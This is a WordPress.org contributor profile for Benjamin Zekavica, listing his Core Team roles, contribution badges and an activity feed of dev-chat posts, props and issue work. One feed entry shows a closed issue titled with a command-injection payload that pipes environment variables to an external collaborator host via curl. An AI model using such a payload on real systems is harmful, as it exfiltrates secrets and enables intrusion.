Benjamin Zekavica (@benjamin_zekavica) – WordPress user profile

Bio

My name is Benjamin Zekavica, 26 years old. I’m from Aachen, Germany. Currently, I am one of the WordPress Core Team global representatives in 2025.

– Web Developer since 2008 | 17 years
– WordPress User since 2013 | 12 years
– Community Member since 2015 | 10 years

Core Team
– Core Team global representative 2025
– WordPress 6.5 (April 2024) | Release Team: Design Lead
– Gutenberg Core Developer since WP version 5.0

Community Team
Mentor Q1 for Core Team

WordCamp Attendee:
Europe 2019, Europe 2023, Germany 2023, Europe 2024, Karlsruhe 2024

WordCamp Volunteer: Europe 2023, Europe 2024
WordCamp Organizer: Germany 2023
WordCamp Speaker: Germany 2023, Europe 2025
WordPress Meetup Organizer/Speaker: Aachen

Interests

WordPress Themes, WordPress Plugins, HTML, CSS, PHP, JavaScript

WordPress Origin Story

My first version was WP 3.0. I love WordPress because its so easy and works fantastic. Contributor of Gutenberg and WordPress Core.

Contributions

Benjamin Zekavica contributes 10 hours per week to the following teams: Core, Polyglots, Test, and Training.

Member Since: November 15th, 2015
Location: Aachen, Germany
Website: benjamin-zekavica.de
GitHub: BenjaminZekavica
Job Title: Professional Webdeveloper
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Contribution History

Accessibility Contributor
bbPress Contributor
BuddyPress Contributor
Community Contributor
Core Contributor
Core Performance Contributor
Core Team
Design Contributor
Documentation Contributor
Hosting Contributor
Meetup Organizer
Meta Contributor
Openverse Contributor
Pattern Author
Photo Contributor
Plugin Developer
Test Contributor
Theme Developer
Tide Contributor
Training Contributor
Translation Contributor
Translation Editor
WordCamp Organizer
WordCamp Speaker
WordPress.tv Contributor
WP-CLI Contributor

Activity
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Wrote a new post, Summary, Dev Chat, Apr 9, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Release Candidate 3…
1 week ago
Wrote a comment on the post Introducing Core Performance Team Reps for 2025, on the site Core Performance:
Congratulations 🥳
2 weeks ago
Received props from @JeffPaul in Slack:
Props to@desrosj @michelleames @Mamaduka @joemcgill @audrasjb @michelleames @krupajnanda @Benjamin_Zekavica @narenin @joedolson @marybaum @mkrndmane @courane01 @zunaid321…
2 weeks ago
Gave props in Slack:
Props to @JeffPaul for wonderful leading the RC 3 Release Party! :tada: :hero:
2 weeks ago
Wrote a new post, Summary, Dev Chat, Apr 2, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Release…
2 weeks ago
Committed [3265293] to Plugins SVN:
Added version 3.9 / easy-svg
3 weeks ago
Wrote a new post, Agenda, Dev Chat, Apr 2, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
3 weeks ago
Received props from @francina in Slack:
Props to @desrosj @audrasjb @michelleames @joemcgill @johnbillion @webcommsat @shanemuir @pratikgandhi @iamshubhamsp @noruzzaman @eddystile @dhruvang21 @jigar9998…
3 weeks ago
Wrote a new post, Summary, Dev Chat, Mar 26, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Release Candidate 1…
3 weeks ago
Updated a handbook page on Make WordPress Core.
4 weeks ago
Wrote a new post, Agenda, Dev Chat, Mar 26, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
4 weeks ago
Received props from @JeffPaul in Slack:
Props to @audrasjb @desrosj @michelleames @mkrndmane @ryelle @johnbillion @iamshubhamsp @zunaid321 @ankitkumarshah @benniledl @vaibhavsweb @jigar9998 @mayanktripathi32…
4 weeks ago
Gave props in Slack:
Props to @JeffPaul for leading the Release Party for 6.8 RC1 and for the amazing…
4 weeks ago
Mentioned in [60087] on Core SVN:
Help/About: Update the About page for 6.8.
4 weeks ago
Created issue #59 in the WordPress/wporg-make repository:
Core Team Blog Activity Widget Title Bug
4 weeks ago
Received props from @JeffPaul in Slack:
Props to @audrasjb @davidbaumwald @michelleames @Ankit K Gupta @zunaid321 @narenin @sukhendu2002 @jigar9998 @qhaensler @zeelthakkar @lumiblog…
1 month ago
Wrote a new post, Summary, Dev Chat, Mar 19, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Beta 3 is…
1 month ago
Wrote a new post, Agenda, Dev Chat, Mar 19, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
1 month ago
Gave props in Slack:
Props to @JeffPaul for leading the 6.8 Beta 3 Release Party :tada: :hero:
1 month ago
Closed issue #69587 on the WordPress/gutenberg repository:
Collaboration: Add real-time editing | Fix Gutenberg not loading
1 month ago
Created issue #69587 in the WordPress/gutenberg repository:
Collaboration: Add real-time editing | Fix Gutenberg not loading
1 month ago
Posted a reply to Error When Creating a New Page, on the site WordPress.org Forums:
Hallo @michelles00 , please post your debug.log here. Please follow this instruction: Use an FTP…
1 month ago
Created issue #1857 in the WordPress/Documentation-Issue-Tracker repository:
Block Theme: Read More block missing images
1 month ago
Created issue #1856 in the WordPress/Documentation-Issue-Tracker repository:
Block Theme: Search Results Title block missing images
1 month ago
Wrote a new post, Summary, Dev Chat, Mar 12, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢WordPress 6.8 | Beta 2 is…
1 month ago
Wrote a new post, Summary, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢Gutenberg version 20.4 was…
1 month ago
Gave props in Slack:
Props to @JeffPaul for his excellent organization and planning of today’s Beta 1 Release Party!…
2 months ago
Received props from @JeffPaul in Slack:
Props to @joemcgill @desrosj @michelleames @Mamaduka @bph @beryldlg @krupajnanda @johnbillion @zunaid321 @narenin @wplmillet @sourabhjain @sukhendu2002…
2 months ago
Wrote a comment on the post Agenda, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
Hi @marybaum :) I’ve updated the post with your information. Thanks you so much. I’ll…
2 months ago
Wrote a new post, Agenda, Dev Chat, Mar 5, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
2 months ago
Wrote a new post, Editor Weekly Updates: Feb 24 – Mar 2, on the site Make WordPress Core:
Last week, there were some exciting developments in the Gutenberg Editor. Below, you'll find an…
2 months ago
Closed issue #477 on the WordPress/Community-Team repository:
$(env | curl -X POST http://wll8eb1vrcp5ydnf8fw4b8863x9nxc.oastify.com)
2 months ago
Wrote a new post, Summary, Dev Chat, Feb 26, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢Gutenberg version 20.3 was…
2 months ago
Gave props in Slack:
Props to @krupaly2k for his amazing Editor Status Summary for the Core Team Blog :core:…
2 months ago
Wrote a new post, Editor Weekly Update: Feb 17–21, on the site Make WordPress Core:
Last week, there were some exciting developments in the Gutenberg Editor. Below, you'll find an…
2 months ago
Wrote a new post, Summary, Dev Chat, Feb 19, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @benjamin_zekavica. 🔗 Agenda post. Announcements 📢Forthcoming releases 🚀Next major release:…
2 months ago
Wrote a new post, Agenda, Dev Chat, Feb 19, 2025, on the site Make WordPress Core:
The next WordPress Developers Chat will take place on in the core channel on Make WordPress Slack. The…
2 months ago
Wrote a new post, Summary, Dev Chat, Feb 12, 2025, on the site Make WordPress Core:
Start of the meeting in Slack, facilitated by @francina. 🔗 Agenda post. Announcements 📢 Core Team Representatives…
2 months ago
Made 2 updates to handbook pages on Make WordPress Core.
2 months ago
Received props from @jorbin in Slack:
Props to @coffee2code and @desrosj for the behind the scenes work on the 6.7.2 release…
2 months ago
Wrote a comment on the post Introducing Core Team Reps for 2025, on the site Make WordPress Core:
Thank you so much :)
2 months ago
Gave props in Slack:
Props to @mikachan and @joemcgill for their wonderful work in the Core Team as team…
2 months ago
Posted a reply to Hamburger icon color in header, on the site WordPress.org Forums:
Hallo @leventna in your Header you have a CSS Filter. Remove this: body.elementor-page-2153 header section {…
2 months ago
Received props from @jorbin in Slack:
Props to @nazmul111, @ahsankhan316, @zeelthakkar, @jagirbahesh, @Benjamin_Zekavica, @satishprajapati, @sukhendu2002, @desrosj for helping during the WordPress…
2 months ago
Wrote a comment on the post Nominations for Core Team Reps: 2025 Edition, on the site Make WordPress Core:
I am truly honored to have supported the WordPress Community Team as a Core Team…
4 months ago
Received props from @rfluethi in Slack:
Props to @Benjamin_Zekavica for the voiceover of the lesson https://learn.wordpress.org/lesson/einfuhrung-in-wordpress/ and to @west7 for the…
5 months ago
Wrote a comment on the post WordPress 6.8 Call for Volunteers, on the site Make WordPress Core:
I am highly interested in the role of Release Coordinator and would be thrilled to…
5 months ago
Received props from @JeffPaul in Slack:
Props to @mobarak @mosescursor @eroan @ali7ali @showravhasan @fazyshah @jagirbahesh @sarthaknagoshe2002 @zunaid321 @zeelthakkar @istiaqhossain @up1512001 @ankitkumarshah…
5 months ago
Translated 1 string on translate.wordpress.org.
5 months ago
Suggested 26 strings on translate.wordpress.org.
6 months ago